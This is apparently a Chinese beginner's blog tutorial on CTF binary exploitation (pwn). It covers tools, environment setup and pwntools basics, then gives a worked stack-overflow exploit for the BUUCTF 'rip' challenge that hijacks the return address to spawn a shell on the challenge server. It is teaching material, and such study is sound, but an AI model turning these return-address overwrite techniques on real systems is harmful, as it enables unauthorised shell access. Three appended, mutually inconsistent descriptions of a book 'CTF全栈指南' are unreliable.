[CTF PWN] 从0到0.00001 PWN入门超级详细

Pwn的简介

Pwn是CTF方向中的一种,主要是利用二进制漏洞从而获得getShell(提权),即获得对方系统权限,从而控制对方电脑。
Pwn是一个黑客语法的俚语词,自"own"这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的 情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:“You just got pwned!”)。

名词储备:writeup(指CTF中解题思路过程的文档),exp(exploit,指漏洞利用程序),栈,汇编,Linux等

Pwn的理论工具准备

初学

工具
  1. Python 2.x 至于为什么不用python3后面会讲到
  2. Linux Windows用户推荐wsl2或虚拟机,MacOS不太清楚
  3. IDA pro 一个逆向分析工具
  4. Pwntools 一个漏洞利用框架工具
  5. checksec ELF保护分析工具
储备知识
  1. C语言
  2. 基础Python2语言,及库的用法
  3. 源/伪代码阅读和BUG漏洞寻找能力
  4. 基础Linux命令

以上可以进行简单的栈溢出的学习

入门

工具
  1. pwndbg gdb动态调试插件
  2. Libcsearcher 集成libc查找工具
  3. one_gadget 一句话提权指令搜索工具
  4. ROPgadget rop指令流搜索
储备知识
  1. C/C++语言
  2. 基础Python2语言,及库的用法
  3. ELF文件结构
  4. 深度理解计算机系统(CSAPP)初步

加上以上的可以更方便的学习进阶栈溢出、堆利用等知识

Pwn的学习

初学-从Writeup中学习

网站推荐

  1. Xctf攻防世界 站内内置writeup,但最近pwn环境无法分发
  2. Bugku pwn环境可以分发,但需要自行查找writeup,题量少
  3. buuctf pwn环境可以分发,有N1BOOK配套习题(但好像环境坏了?),比赛真题,题量大,但需要自行查找writeup

入门-从比赛中学习

参加比赛,利用比赛同时练习技术,这样可以更好的抓住比赛的中pwn的热点,也可以培养随机应变的能力。

Pwn的环境准备

由于没有尝试过MacOS上pwn
所以只有Windows的教程

Windows

  1. 安装WSL2(子系统) https://docs.microsoft.com/zh-cn/windows/wsl/install-win10
  2. 在WSL中安装Python2 https://www.cnblogs.com/dancesir/p/14201267.html
  3. 在WSL中安装pwntools等库https://docs.pwntools.com/en/latest/install.html
  4. 在WSL中安装checksec https://www.cnblogs.com/luocodes/p/13894106.html
  5. 选择一个你喜欢的IDE,强推VSCode
在Vscode中配置Pwn中环境
  1. 安装Remote - WSL插件11111
    即可可切换成Ubuntu终端
    ssss
在Vscode中Pwn

1.右键-在Vscode中打开文件夹

在Vscode中打开文件夹
2.左下角点击><旋转Reopen Folder in WSL (这个尝试过编写exp时没有代码提示,可以在windows上先装python2和pwntools,在windows上编写exp,然后再Linux上运行,即跳过此步骤)
在这里插入图片描述
reopen

3.新建一个exp.py
exp
4.开始书写你的脚本
ok

Pwntools的学习

官方文档https://docs.pwntools.com/en/latest/intro.html

简易快速入门

导入Pwntools
from pwn import *
链接
r = remote("目标地址str类型", 目标端口int类型)与服务器交互
r = process("目标程序位置")与本地程序交互
构造playload之打包
p64(int)将int类型打包成64位存储
p32(int)将int类型打包成32位存储
发送
r.sendline(playload)发送playload为一行(自动在尾部加上\n)
接收
r.recv()接收到结束
r.recvuntil(end, drop=True)end(str)接受到end之后截至,drop=True时不包括end,drop=False时包括end
打开交互
r.interactive()一般在末尾都要加

Pwn的做题流程

  1. 使用checksec检查ELF文件保护开启的状态
  2. IDApro逆向分析程序漏洞(逻辑复杂的可以使用动态调试)
  3. 编写python的exp脚本进行攻击
  4. (若攻击不成功)进行GDB动态调试,查找原因
  5. (若攻击成功)获取flag,编写Writeup
    注:此做题流程并不完全概括,需要具体情况具体分析

Pwn的简单例子

题目来源【BUUCTF PWN】rip

checksec

在这里插入图片描述
64位,导入IDA 64,找到main函数,按F5或是Tab

分析函数及漏洞

main函数

main
main函数中存在gets(无限读入字符串漏洞),没有开canary可以自由栈溢出
双击s变量,进入main函数栈区
stack
发现s参数位置距离main函数返回地址距离是0xF+0x8个字节
(位于000000000处的s是存上一个ebp的值,用于恢复上一个函数,位于0000000008处的r是这个函数的返回地址)
只需要覆盖返回地址r,使它变成我们想要的函数地址,就可以劫持程序,让程序执行完main就执行我们想要的函数(这个题目就是fun函数)。

fun函数

fun
system函数可以执行命令,/bin/sh是执行Linux的命令行程序,也就是可以getshell(提权)
按Tab+Space
aa
查看fun函数的开始地址(图中0x0401186位置)

编写exp

from pwn import *

r = process('./pwn1') # 调试时使用本地链接

p1 = "a"*(0xf + 0x8) + p64(0x0401186) 
# 覆盖到r前面之后,将0x0401186打包,覆盖main函数返回地址

r.sendline(p1) # 发送playload

r.interactive() # 开启交互

运行
000
并没有打通
需要平衡栈帧(初学可以跳过这个,直接记住结论)
即需要多return一次
x86汇编中 ret的指令类似于 先pop(弹出)一个值然后jmp(跳转)到这个值的位置继续执行
所以寻找一个ret的地址
ret
在main函数的结尾就有个retn
故修改exp

from pwn import *

r = process('./pwn1') # 调试时使用本地链接

p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186) 
# 覆盖到r前面之后,先覆盖main函数返回地址为retn,再将0x0401186打包,覆盖retn的返回地址

r.sendline(p1) # 发送playload

r.interactive() # 开启交互

show
发现ls(linux中查看当前文件夹内容的命令)命令可以执行
再修改exp链接靶机

from pwn import *

r = remote("node3.buuoj.cn", 29885) # 正式攻击时与靶机交互
# r = process('./pwn1')

p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)

r.sendline(p1)

r.interactive()

再次运行
sss
获取flag
cat(linux中直接输出文件内容的命令)
到此就可以庆祝一下提交flag了

编写Writeup

提交完flag之后别忘了编写Writeup,Writeup是指记录解题思路的文档,一个小队开一个公共编辑的文档,一旦做出来题目就要将解题思路、exp、部分截图写入文档,因为一般赛事最后需要提交Writeup,以确保你不是py得到的flag

Pwn的常见漏洞

栈溢出

  1. gets();无限字符读入\n停止
  2. scanf("%s");无限字符读入\n停止
  3. read(0,buf,0x200);buf位置到返回地址距离小于0x200

数组下标溢出

  1. 没有判断上界或下界,配合读入或输出,可以任意位置读入或输出

格式化字符串

  1. 主要利用printf的格式化字符串漏洞,实现栈区内读写

堆利用

  1. UAF(Use After Free)
  2. 劫持__malloc_hook
  3. 修改__IO_1_2_stdout

小结

  1. 学习Pwn不仅有利于网安方向的同学,还有利于搞开发等同学,因为可以接触更加底层的东西,提高自己网络安全意识
  2. 刚开始学习Pwn是摸着黑,照猫画虎的,只有不断的理解原理才能独立想出解题方法
  3. 为什么不使用Python3?因为这是个坑,我刚开始尝试的是后就因为python3多了个bytes类型,导致p64()的结果不能直接与str相加,而其中有很多不可见字符,最终放弃了Python3。Python2中bytes值以str形式存储的可以直接与str相加。
  4. Pwn的世界错综复杂,我依然还在摸索,一起加油。
  • 40
    点赞
  • 201
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
### 回答1: 《CTF全栈指南(入门篇)》是一本帮助初学者入门CTF竞赛的书籍。CTF(Capture The Flag)竞赛是一种安全技术比赛,旨在通过解决各种安全挑战,提高参赛者的信息安全技能。 本书逐步介绍了CTF竞赛的各种基础知识,包括计算机网络基础、Windows和Linux操作系统基础、二进制和汇编语言、Web渗透测试、逆向工程等。 在网络基础部分,读者可以学习到TCP/IP协议、HTTP协议等相关知识,有助于理解网络安全攻防的基础知识。 在操作系统基础和逆向工程部分,读者将了解各种系统漏洞和攻防的基础知识。在二进制和汇编语言部分,读者将学习汇编语言的基本概念,从而具备分析程序漏洞的能力。 在Web渗透测试部分,读者可以学习常用的Web漏洞,例如SQL注入、XSS、CSRF等,以及如何使用工具对Web应用程序进行渗透测试。 总的来说,本书是一本非常实用和有用的CTF学习资源,对于正在学习CTF入门者来说,是一本不可或缺的参考书。阅读该书籍可以提高参赛者的CTF技能水平,也可以增加在信息安全领域的基础知识。 ### 回答2: 《CTF全栈指南(入门篇).pdf》是一本介绍网络安全竞赛CTF(Capture The Flag)的指南书籍。本书主要分为四个章节,分别为计算机基础知识、Web安全、二进制安全和密码学。 在计算机基础知识部分,读者将了解计算机体系结构、操作系统、编程语言等基础知识。这些知识是理解后续章节内容的前提。 在Web安全部分,读者将学习如何分析和攻击Web应用程序。包括Web目录枚举、SQL注入、XSS漏洞、文件上传漏洞等常见漏洞类型的原理和利用方法。 在二进制安全部分,读者将学习如何分析和攻击二进制程序。包括反汇编、漏洞利用、ROP(Return-Oriented Programming)等内容。 在密码学部分,读者将了解密码学的基础知识,包括对称加密、非对称加密、哈希等常见算法的原理和应用。 此外,书中还提供了一些CTF比赛中常用的工具和技术,以及一些可以用来练习的虚拟机和挑战网站。最后,书中还分享了一些参加CTF比赛的心得体会和建议。 总的来说,《CTF全栈指南(入门篇).pdf》是一本非常实用的入门级指南书籍,对想要学习网络安全竞赛CTF的读者来说具有很大的参考价值。 ### 回答3: CTF全栈指南(入门篇).pdf,是一本面向CTF初学者的入门教材。CTF(Capture The Flag)是一种网络安全技术训练和交流的比赛形式,包括网络安全技术、密码学、逆向工程等多个领域。因此,在CTF比赛中,需要掌握全栈技能。 该教材从CTF的概念入手,介绍了CTF比赛的常见题型,包括WEB、REVERSE、CRYPTO等。并介绍了相应的解法和技能。此外,还介绍了CTF比赛的一些常用工具,如IDA Pro、Ollydbg、WireShark等,同时也介绍了一些编程语言和框架,如Python、PHP、Django等。 教材的写作风格通俗易懂,没有过多的专业术语,方便初学者理解。同时,还提供了一些练习题,可供读者练习巩固。 总之,该教材是一本CTF入门界别的经典教材,是学习CTF入门资料之一。如果您想了解CTF比赛,或者想成为一名安全研究员或网络安全工程师,可以通过该教材深入学习CTF全栈知识。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值